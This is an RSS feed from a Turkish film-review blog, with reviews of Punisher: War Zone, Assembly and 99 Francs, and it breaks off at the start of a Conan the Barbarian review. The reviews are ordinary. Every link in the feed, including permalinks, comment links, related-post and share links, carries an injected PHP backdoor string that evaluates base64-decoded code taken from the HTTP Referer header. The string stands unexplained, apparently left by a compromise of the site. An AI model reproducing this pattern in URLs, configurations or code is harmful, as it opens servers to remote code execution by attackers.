<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>İzlerkenkiler</title>
	<atom:link href="http://www.izlerkenkiler.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.izlerkenkiler.com</link>
	<description>Filmi izlerken oluşan düşüncelerin toplamına biz burada, izlerkenkiler diyoruz. Niye mi öyle diyoruz? Web denen şey artık alınabilir tüm alan adlarını tükettiği için.</description>
	<pubDate>Tue, 01 Sep 2009 20:38:45 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Punisher: War Zone (2008) - Dağıtırım lan burayı!!</title>
		<link>http://www.izlerkenkiler.com/2009/04/08/punisher-war-zone-2008-dagitirim-lan-burayi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/04/08/punisher-war-zone-2008-dagitirim-lan-burayi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 22:11:38 +0000</pubDate>
		<dc:creator>notilus</dc:creator>
		
		<category><![CDATA[Amerika]]></category>

		<category><![CDATA[Avrupa]]></category>

		<category><![CDATA[2008]]></category>

		<category><![CDATA[Dominic West]]></category>

		<category><![CDATA[Lexi Alexander]]></category>

		<category><![CDATA[Punisher 2]]></category>

		<category><![CDATA[Punisher War Zone]]></category>

		<category><![CDATA[Ray Stevenson]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/2009/04/punisher-war-zone-2008-dagitirim-lan-burayi/</guid>
		<description><![CDATA[Punisher: War Zone filminin ilk filmle pek bir bağlantısı bulunmadığını söyleyerek başlayayım. İlk film konu itibari ile temel Punisher dokusunu daha iyi anlatıyordu sanırım. War Zone ise kastırma bir film olmaktan öteye geçememiş.
Şöyle bir göz atacak olursak filmimize, yine ailesi mafya üyeleri tarafından öldürülen bir polisin ölüm makinasına dönüşmesi anlatılıyor. Fakat bu yapılırken o kadar [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/12/20/deception-2008-gel-yari-yariya-kirisalim-en-iyisi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Deception (2008) - Gel Yarı Yarıya Kırışalım En İyisi'>Deception (2008) - Gel Yarı Yarıya Kırışalım En İyisi</a> <small> Kendi halinde sosyallikten uzak yaşayan bir muhasebeci, ona  odası...</small></li><li><a href='http://www.izlerkenkiler.com/2008/12/18/doomsday-2008-konusunu-unutturan-felaket-filmi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Doomsday (2008) - Konusunu Unutturan Felaket Filmi'>Doomsday (2008) - Konusunu Unutturan Felaket Filmi</a> <small> Neil Marshall yönetiminde çekilen “Doomsday” filmi bir virüs sonucunda...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/15/einstein-and-eddington-2008-kal-saglicakla-newton-fizigi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Einstein and Eddington (2008) - Kal sağlıcakla Newton Fiziği!'>Einstein and Eddington (2008) - Kal sağlıcakla Newton Fiziği!</a> <small> 1. Dünya savaşı sırasında bilim adamlarının yaşadıkları zorlukları ve...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1191" src="http://www.izlerkenkiler.com/wp-content/uploads/punisher25_large.jpg" alt="punisher25_large" width="242" height="359" />Punisher: War Zone filminin ilk filmle pek bir bağlantısı bulunmadığını söyleyerek başlayayım. İlk film konu itibari ile temel Punisher dokusunu daha iyi anlatıyordu sanırım. War Zone ise kastırma bir film olmaktan öteye geçememiş.</p>
<p>Şöyle bir göz atacak olursak filmimize, yine ailesi mafya üyeleri tarafından öldürülen bir polisin ölüm makinasına dönüşmesi anlatılıyor. Fakat bu yapılırken o kadar hızlı veriliyor ki, adeta izleyiciye “zaten siz biliyorsunuz bu kötü klişe öyküyü” dermiş gibi gösteriliyor. Biraz daha özen diyorum, nerede motivasyonumuz?.</p>
<p>Sonrasında filmde gördüğüm bazı saçmalıklardan söz etmek istiyorum. Silahtan çıkan lazer ışığı ses çıkarıyor. Mesele kameraya doğru doğrulttuğunda “ciuvvv” diye bir ses geliyor. Namlu aşağıya inince ses de uzaklaşıyor. Ayrıca duvara atılan teneke kıvılcım çıkarabilir mi diye soruyorum. Hadi onu geçtim kıvılcım da tenekenin duvara çarptığı terden değil de biraz da uzağından çıkıyor. Ne gerek var böyle ipe sapa gelmez efektlere?.</p>
<p>Yine Frank Castle’ın (<a href=/tag/ray-stevenson target=_blank>Ray Stevenson</a>) ayağına takılı bıçak gösterildiğinde niye bıçak sesi geliyor diye sorular sormak istiyorum. Anlıyorum filmi daha da etkileyici yapmak istiyorlar ama komikleşmekten öteye gitmiyor. Sonra 2 polis memurunu öldüren suçlular olay mahalinde suç aletleri ile yakalanmalarına rağmen serbest bırakılıyorlar. Yok artık e…</p>
<p><img class="aligncenter size-full wp-image-1193" src="http://www.izlerkenkiler.com/wp-content/uploads/punisher-war-zone-20080529105615986.jpg" alt="punisher-war-zone-20080529105615986" width="715" height="174" /></p>
<p>Gerçek hayatta 1.93 boya sahip olan birisi olaraktan <a href=/tag/ray-stevenson target=_blank>Ray Stevenson</a> role gitmediğini düşünüyorum. Biraz daha ufak bir adam seçseler daha mantıklı olurmuş. Adam 1.93 zaten çatışmada kurşun yememesi saçma olur. Zira film boyunca kurşun manyağı yapıldığını da görüyoruz zaten. Yeşil yol filmindeki süper uyuz tiplemesi ile bildiğimiz Doug Hutchison ise gereksiz ve kendisini küçük düşürdüğünü düşündüğüm sapma sapan bir karakteri canlandırmış.</p>
<p>İlk filme olan saygımdan dolayı bu filmi de izledim fakat israf edilmiş zamandan öteye geçemedi. Öteye geçmemesi iyi mi kötü mü acaba? :). Neyse daha fazla saçmalamaya gerek yok, kısacası gereksiz bir film olmuş ama yine de aksiyon severler tarafından beğenilerek izlenebilir. Yine bir noktaya daha dikkat çekmek gerekirse kötü adamlar bile klişe diyorum. Batman’den sonra biraz ders almalı bu insanlar.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F04%2F08%2Fpunisher-war-zone-2008-dagitirim-lan-burayi%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Punisher%3A%20War%20Zone%20%282008%29%20-%20Da%C4%9F%C4%B1t%C4%B1r%C4%B1m%20lan%20buray%C4%B1%21%21"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/12/20/deception-2008-gel-yari-yariya-kirisalim-en-iyisi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Deception (2008) - Gel Yarı Yarıya Kırışalım En İyisi'>Deception (2008) - Gel Yarı Yarıya Kırışalım En İyisi</a> <small> Kendi halinde sosyallikten uzak yaşayan bir muhasebeci, ona  odası...</small></li><li><a href='http://www.izlerkenkiler.com/2008/12/18/doomsday-2008-konusunu-unutturan-felaket-filmi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Doomsday (2008) - Konusunu Unutturan Felaket Filmi'>Doomsday (2008) - Konusunu Unutturan Felaket Filmi</a> <small> Neil Marshall yönetiminde çekilen “Doomsday” filmi bir virüs sonucunda...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/15/einstein-and-eddington-2008-kal-saglicakla-newton-fizigi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Einstein and Eddington (2008) - Kal sağlıcakla Newton Fiziği!'>Einstein and Eddington (2008) - Kal sağlıcakla Newton Fiziği!</a> <small> 1. Dünya savaşı sırasında bilim adamlarının yaşadıkları zorlukları ve...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/04/08/punisher-war-zone-2008-dagitirim-lan-burayi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Assembly - Ji jie hao - (2007) - Yapılan her fedakarlık ölümsüzleştirilmeyi hak eder.</title>
		<link>http://www.izlerkenkiler.com/2009/04/05/assembly-ji-jie-hao-2007-yapilan-her-fedakarlik-olumsuzlestirilmeyi-hak-eder/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/04/05/assembly-ji-jie-hao-2007-yapilan-her-fedakarlik-olumsuzlestirilmeyi-hak-eder/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 05 Apr 2009 17:48:59 +0000</pubDate>
		<dc:creator>notilus</dc:creator>
		
		<category><![CDATA[Kategorilenmemiş]]></category>

		<category><![CDATA[Assembly]]></category>

		<category><![CDATA[Gu]]></category>

		<category><![CDATA[Hanyu Zhang]]></category>

		<category><![CDATA[Ji jie hao]]></category>

		<category><![CDATA[Xiaogang Feng]]></category>

		<category><![CDATA[Zidi]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/2009/04/assembly-ji-jie-hao-2007-yapilan-her-fedakarlik-olumsuzlestirilmeyi-hak-eder/</guid>
		<description><![CDATA[Assembly orijinal adı ile “Ji jie hao” Çin Sivil Savaşı sırasında yitirdiği askerlerinin onurunu geri kazanmaya çalışan bir adamın yaşamını ele alıyor. Yüzbaşı Gu Zidi (Hanyu Zhang) isimli bu askerin yaşadıkları filme aktarılmış.
Buraya kadar konunun pek etkileyici bir yanı olduğunu söyleyemem. Bu tarz filmlerin Amerikan sinemasında bol örnek bulunmaktadır. Fakat Assembly her yönü ile iyi [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/11/16/transformers-2007-tum-autobotlara-selam-olsun/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Transformers (2007) - Tüm Autobotlara Selam Olsun'>Transformers (2007) - Tüm Autobotlara Selam Olsun</a> <small>Çocukken deli gibi izlerdik. Zamanında çocuk olmuş (?) herkes anlayacak...</small></li><li><a href='http://www.izlerkenkiler.com/2008/11/04/rec-2007-kayitta-miyiz/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: [REC] (2007) - Kayıtta mıyız?'>[REC] (2007) - Kayıtta mıyız?</a> <small>Rec&#8217;i kısaca özetlemek gerekirse bir muhabirin ve bir kameramanın haber...</small></li><li><a href='http://www.izlerkenkiler.com/2009/02/01/battle-in-seattle-2007-bir-hobi-olarak-kuresellesme-karsitligi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Battle in Seattle (2007) - Bir hobi(!) olarak küreselleşme karşıtlığı&#8230;'>Battle in Seattle (2007) - Bir hobi(!) olarak küreselleşme karşıtlığı&#8230;</a> <small>Battle of Seattle, 1999&#8242;da Amerika&#8217;daki ilk büyük küreselleşme karşıtı eylemi...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1183" src="http://www.izlerkenkiler.com/wp-content/uploads/434848731_bad6lfumkeslzvnns8ny0f6emyilsv5o6auufgl0o2l7tgbg.jpg" alt="434848731_bad6lfumkeslzvnns8ny0f6emyilsv5o6auufgl0o2l7tgbg" width="277" height="389" /><a href=/tag/assembly target=_blank>Assembly</a> orijinal adı ile “<a href=/tag/ji-jie-hao target=_blank>Ji jie hao</a>” Çin Sivil Savaşı sırasında yitirdiği askerlerinin onurunu geri kazanmaya çalışan bir adamın yaşamını ele alıyor. Yüzbaşı <a href=/tag/gu target=_blank>Gu</a> <a href=/tag/zidi target=_blank>Zidi</a> (<a href=/tag/hanyu-zhang target=_blank>Hanyu Zhang</a>) isimli bu askerin yaşadıkları filme aktarılmış.</p>
<p>Buraya kadar konunun pek etkileyici bir yanı olduğunu söyleyemem. Bu tarz filmlerin <a href=/tag/amerika target=_blank>Amerika</a>n sinemasında bol örnek bulunmaktadır. Fakat <a href=/tag/assembly target=_blank>Assembly</a> her yönü ile iyi bir savaş filmi olmuş bana göre. Diğer filmlerle benzer unsurlar içermesine rağmen en azından <a href=/tag/amerika target=_blank>Amerika</a>n sinemasının ürünü olmamasından dolayı takdir ediyorum yönetmenini.</p>
<p>Çatışma, patlama sahneleri oldukça gerçekçi ve etkileyici. Hatta zaman oldu fazlaca abarttıklarını bile düşündüm fakat savaş böyle bir şey olsa gerek. Yine <a href=/tag/amerika target=_blank>Amerika</a>n filmlerinde olduğu gibi “gevrek” askerlerin olmayışı konuyu daha gerçekçi yapıyor sanırım.</p>
<p>Yaşanan savaşın tüm şiddetine ve insandan kopardıklarına rağmen, görevini başarı ile yerine getirmiş askerlerin savaş sonrasında “kayıp” olarak görülmesi yapılabilecek en kötü tanımla olur kanaatimce. Burada bahsedilen kayıp, ölü anlamanda değil tabi ki. Bu kayıp, esir kaçak veya başka türlü kayıp olan askerler için kullanılan bir terim. Şehit ailelerine 3 ton pirinç yardımı yapılırken kayıp ailelerine 1 ton yardım yapılıyor. Yine filmde bu konu ile ilgili olan güzel bir replik vardı. 2 tonluk farkın oldukça önemli olduğuna dair bir replik.</p>
<p><img class="aligncenter size-full wp-image-1184" src="http://www.izlerkenkiler.com/wp-content/uploads/64051875cg8.jpg" alt="64051875cg8" width="695" height="249" /><br />
Peki ya tüm askerlerini kendisine verilen doğrultuda yönetmiş olan bir komutanın savaş bittikten sonra birliğinde kalan tek “gazi” olması onun için ne anlama gelecektir. Bu durumun suçluluğunu yaşayan <a href=/tag/gu target=_blank>Gu</a> <a href=/tag/zidi target=_blank>Zidi</a> ise kalan yaşamını askerlerinin onurunu kazanma mücadelesiyle geçirir.</p>
<p>Tipik bir savaş filmi olmasına rağmen konunun gerçeğe paralel olması ve gerçekten <a href=/tag/gu target=_blank>Gu</a> <a href=/tag/zidi target=_blank>Zidi</a> isimli bir yüzbaşının başından geçenlerin anlatılması bakımından filmi izlemeğe değer buluyorum.  Ayrıca biz ne zaman bu tip filmler çekebilecek teknolojiye erişiriz bilmiyorum.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F04%2F05%2Fassembly-ji-jie-hao-2007-yapilan-her-fedakarlik-olumsuzlestirilmeyi-hak-eder%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Assembly%20-%20Ji%20jie%20hao%20-%20%282007%29%20-%20Yap%C4%B1lan%20her%20fedakarl%C4%B1k%20%C3%B6l%C3%BCms%C3%BCzle%C5%9Ftirilmeyi%20hak%20eder."><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/11/16/transformers-2007-tum-autobotlara-selam-olsun/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Transformers (2007) - Tüm Autobotlara Selam Olsun'>Transformers (2007) - Tüm Autobotlara Selam Olsun</a> <small>Çocukken deli gibi izlerdik. Zamanında çocuk olmuş (?) herkes anlayacak...</small></li><li><a href='http://www.izlerkenkiler.com/2008/11/04/rec-2007-kayitta-miyiz/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: [REC] (2007) - Kayıtta mıyız?'>[REC] (2007) - Kayıtta mıyız?</a> <small>Rec&#8217;i kısaca özetlemek gerekirse bir muhabirin ve bir kameramanın haber...</small></li><li><a href='http://www.izlerkenkiler.com/2009/02/01/battle-in-seattle-2007-bir-hobi-olarak-kuresellesme-karsitligi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Battle in Seattle (2007) - Bir hobi(!) olarak küreselleşme karşıtlığı&#8230;'>Battle in Seattle (2007) - Bir hobi(!) olarak küreselleşme karşıtlığı&#8230;</a> <small>Battle of Seattle, 1999&#8242;da Amerika&#8217;daki ilk büyük küreselleşme karşıtı eylemi...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/04/05/assembly-ji-jie-hao-2007-yapilan-her-fedakarlik-olumsuzlestirilmeyi-hak-eder/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>99 Francs (2007) - Büyük daha iyidir!</title>
		<link>http://www.izlerkenkiler.com/2009/03/31/99-francs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/03/31/99-francs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 00:11:30 +0000</pubDate>
		<dc:creator>notilus</dc:creator>
		
		<category><![CDATA[Avrupa]]></category>

		<category><![CDATA[Bağımsız]]></category>

		<category><![CDATA[2007]]></category>

		<category><![CDATA[9.90 YTL]]></category>

		<category><![CDATA[99 francs]]></category>

		<category><![CDATA[Jan Kounen]]></category>

		<category><![CDATA[Jean Dujardin]]></category>

		<category><![CDATA[Jocelyn Quivrin]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/2009/03/99-francs/</guid>
		<description><![CDATA[
Evet. Kesinlikle etkileyici ve şaşırtıcı, insanı bir oraya bir buraya götüren, kendi benliğinde de seyahat ettirme zevki tattıran bir film aynı zamanda.  Gerektiğinde izleyicisinin de fikrini kabul eden ya da kabul ettirten bir film. Üzerine zevkle düşünülebilen bir soru belki.
Filmle ilk karşılaştığımda Japon pazarı (Çin pazarı mı yoksa?) aklıma geldi. Çoğunlukla şu 1 tl [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/11/20/2-days-in-paris-2007-kadina-erkege-ve-iliskilere-dair/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: 2 Days in Paris (2007) - Kadına, erkeğe ve ilişkilere dair'>2 Days in Paris (2007) - Kadına, erkeğe ve ilişkilere dair</a> <small>Amerika&#8217;da yaşayan ve sevgili olan Marion (Julie Delpy) ve Jack...</small></li><li><a href='http://www.izlerkenkiler.com/2008/11/04/rec-2007-kayitta-miyiz/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: [REC] (2007) - Kayıtta mıyız?'>[REC] (2007) - Kayıtta mıyız?</a> <small>Rec&#8217;i kısaca özetlemek gerekirse bir muhabirin ve bir kameramanın haber...</small></li><li><a href='http://www.izlerkenkiler.com/2008/11/16/transformers-2007-tum-autobotlara-selam-olsun/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Transformers (2007) - Tüm Autobotlara Selam Olsun'>Transformers (2007) - Tüm Autobotlara Selam Olsun</a> <small>Çocukken deli gibi izlerdik. Zamanında çocuk olmuş (?) herkes anlayacak...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-1158" src="http://www.izlerkenkiler.com/wp-content/uploads/99_francs_00_pbig-225x300.jpg" alt="99_francs_00_pbig" width="225" height="300" /></p>
<p>Evet. Kesinlikle etkileyici ve şaşırtıcı, insanı bir oraya bir buraya götüren, kendi benliğinde de seyahat ettirme zevki tattıran bir film aynı zamanda.  Gerektiğinde izleyicisinin de fikrini kabul eden ya da kabul ettirten bir film. Üzerine zevkle düşünülebilen bir soru belki.</p>
<p>Filmle ilk karşılaştığımda Japon pazarı (Çin pazarı mı yoksa?) aklıma geldi. Çoğunlukla şu 1 tl lik ürünlerin yığıldığı sepetler dolusu plastik mallardan bahsediyorum. Arz talep ilişkisi, ürünler, tüketiciler, dağıtımcılar, üreticiler ve tüm bu ağın bağlantı elemanı olan reklamcılar. Adeta hormonlar gibi dengeleme yapmaya çalışan, ilgili maddenin ilgili birime ulaşmasını sağlayan aracılardan bahsediyorum.</p>
<p>Filmde verilen bir istatistik özellikle dikkatimi çekti. Sayıyı tam olarak anımsayamıyorum ama hayatımız boyunca maruz kaldığımız reklam adedi tahminlerimin epey üzerindeymiş. İşin can sıkıcı yanı radyo dalgaları kadar fevri bir biçimde buna maruz bırakılmamız. Düşününce mide bulandırıcı bir hal bile alabiliyor.</p>
<p>Reklamlar çarkı çeviren etmenler bana göre. Peki ya işin içinde olan birinden bunları dinlemek ister miydiniz?  Bilmiyorum gördünüz mü halay çeken inekleri? Ya da inadına “kinder çaklıt” telafuzu yapan reklamları? Adeta erotik filmden farkı kalmayan çikolata reklamlarına de demeli? Yediğimiz çikolata bizi uzaya mı götürüyor?  Yedikten sonra başka bir kişiliğe mi bürünüyoruz yoksa? İçerisinde bir dünya reçelimsi madde barındıran koca kekler gerçekte neden o kadar ”koca” değil peki?</p>
<p><img class="aligncenter size-full wp-image-1167" src="http://www.izlerkenkiler.com/wp-content/uploads/elisa-tovati1.jpg" alt="elisa-tovati1" width="676" height="286" /><br />
Aslında sorulacak çok sorum var. Liste böylece uzayıp gider. Aynı zamanda bu yazıyı yazarken filmin müziklerini dinlemem de zihnimi epeyce açtı gece gece. Film müzikleri bana göre mükemmel tasarlanmış. Octave (<a href=/tag/jean-dujardin target=_blank>Jean Dujardin</a>) ın içinde bulunduğu ruh hallerini iyi yansıtıyor. Özellikle kız arkadaşı ile olan bölümde etkilenmemek mümkün değil. Hele o “reklamsal aileye” ne demeli? Suratlarındaki o salak gülümseme ve tekrarlayıp durdukları replikleri? Cenin görüntüsü önündeki çılgın ve bir o kadar anlamsız dans? (http://www.youtube.com/watch?v=BDxI7O10kH0&amp;feature=channel_page) Otomobille girilen şekerleme diyarı?</p>
<p><img class="aligncenter size-full wp-image-1161" src="http://www.izlerkenkiler.com/wp-content/uploads/movies_0-9_99_francs_009369_11.jpg" alt="movies_0-9_99_francs_009369_11" width="677" height="268" /><br />
Reklamlara bir bakacak olursak eğer hep sırıtan, gülen insanlar olduğunu görüyoruz karşımızda. Hiç birinin kusuru yok. Adeta mükemmel yaratılmışlar. Kilo problemleri yok, boy problemleri yok, dişleri kabul edilemeyecek kadar beyaz, traş olan dayımlar kas yumağı, ne bir sivilce ne bir iz söz konusu. Hepsi fabrikalarda üretilmiş gibi.</p>
<p>Kısacası koca bir yalandan ibaret bir dünya reklam dünyası. Yalan söylemek ve inandırmak mühim olan. Ne kadar çok mürit o kadar çok para ve üretim demek. İşte bu film bu işe giriyor biraz. Bilirsiniz gelenekçi ve zeki reklamlar vardır. Bu benim kendi düşüncem tabi. Çok miktarda yoğurdumuz var istemez misiniz?</p>
<p><img class="alignright size-medium wp-image-1162" src="http://www.izlerkenkiler.com/wp-content/uploads/vahina-giocante-300x209.jpg" alt="vahina-giocante" width="300" height="209" />Gelenekçi reklamlara Calgon ve çamaşır makinasını izin almaksızın götürme eğilim olan dayımın geçtiği reklam örnek gösterilebilir. Zeki reklamlar ise yaratıcı bir sürecin ürünleri olup benzerlerinden kolaylıkla sıyrılan yapımlardır. Bundan bahsettim çünkü devamında reklamcılığı konu alan bu filmin ne kadar reklamcılıkla harmanlanmış bir yönetimi olduğunu söylemek istedim. Uyuşturucu madde kullanımı, kendi kendini arayış, depresyon, aldatma, yalnızlık, reklamların içinde olup reklamların yarattığı dünyanın esiri olmak bu filmi tanımlamak için kullanılabilecek diğer kelimeler olabilir.</p>
<p>Son zamanlarda izlediğim en yaratıcı bakış açısına sahip film diyebilirim. İzlemesi oldukça eğlenceli, sürükleyici ve süratliydi. Kesinlikle tavsiye ederim.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F03%2F31%2F99-francs%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=99%20Francs%20%282007%29%20-%20B%C3%BCy%C3%BCk%20daha%20iyidir%21"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/11/20/2-days-in-paris-2007-kadina-erkege-ve-iliskilere-dair/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: 2 Days in Paris (2007) - Kadına, erkeğe ve ilişkilere dair'>2 Days in Paris (2007) - Kadına, erkeğe ve ilişkilere dair</a> <small>Amerika&#8217;da yaşayan ve sevgili olan Marion (Julie Delpy) ve Jack...</small></li><li><a href='http://www.izlerkenkiler.com/2008/11/04/rec-2007-kayitta-miyiz/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: [REC] (2007) - Kayıtta mıyız?'>[REC] (2007) - Kayıtta mıyız?</a> <small>Rec&#8217;i kısaca özetlemek gerekirse bir muhabirin ve bir kameramanın haber...</small></li><li><a href='http://www.izlerkenkiler.com/2008/11/16/transformers-2007-tum-autobotlara-selam-olsun/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Transformers (2007) - Tüm Autobotlara Selam Olsun'>Transformers (2007) - Tüm Autobotlara Selam Olsun</a> <small>Çocukken deli gibi izlerdik. Zamanında çocuk olmuş (?) herkes anlayacak...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/03/31/99-francs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Conan the Barbarian (1982) - Crom bana intikam bağışla, bağışlamazsan da canın cehenneme!</title>
		<link>http://www.izlerkenkiler.com/2009/03/18/conan-the-barbarian-1982/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/03/18/conan-the-barbarian-1982/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 01:57:36 +0000</pubDate>
		<dc:creator>notilus</dc:creator>
		
		<category><![CDATA[Amerika]]></category>

		<category><![CDATA[Hollywood]]></category>

		<category><![CDATA[1982]]></category>

		<category><![CDATA[Arnold Schwarzenegger]]></category>

		<category><![CDATA[Barbar Conan]]></category>

		<category><![CDATA[Conan the Barbarian]]></category>

		<category><![CDATA[James Earl Jones]]></category>

		<category><![CDATA[John Milius]]></category>

		<category><![CDATA[Max von Sydow]]></category>

		<category><![CDATA[Sandahl Bergman]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/2009/03/conan-the-barbarian-1982/</guid>
		<description><![CDATA[Conan the Barbarian, 1982 yapımı John Milius filmidir. Film, Conan&#8217;ın küçüklüğünden başlayarak 20 li yaşlarının sonlarına kadar olan bölümü gözler önüne serer.
Conan henüz küçük bir çocukken köylerine çift yılan başı işareti taşıyan bir grup asker saldırır. Saldırı sırasında babasını, annesini ve halkını yitirir. Öksüz kalan Conan vakit kaybedilmeden köleleştirilir. Yıllarca bedensel kuvvet gerektiren bir işte [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2009/03/04/blade-runner-1982-androidleri-insandan-ayiran-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Blade Runner (1982) - Android&#8217;leri insandan ayıran nedir?'>Blade Runner (1982) - Android&#8217;leri insandan ayıran nedir?</a> <small>Üçüncü Dünya Savaşı&#8217;nın ardından dünyanın gün geçtikçe eskidiği bir gelecekte,...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-1149" src="http://www.izlerkenkiler.com/wp-content/uploads/movie-poster-conan-the-barbarian-220x300.jpg" alt="movie-poster-conan-the-barbarian" width="320" height="428" /><a href=/tag/conan-the-barbarian target=_blank>Conan the Barbarian</a>, <a href=/tag/1982 target=_blank>1982</a> yapımı <a href=/tag/john-milius target=_blank>John Milius</a> filmidir. Film, Conan&#8217;ın küçüklüğünden başlayarak 20 li yaşlarının sonlarına kadar olan bölümü gözler önüne serer.</p>
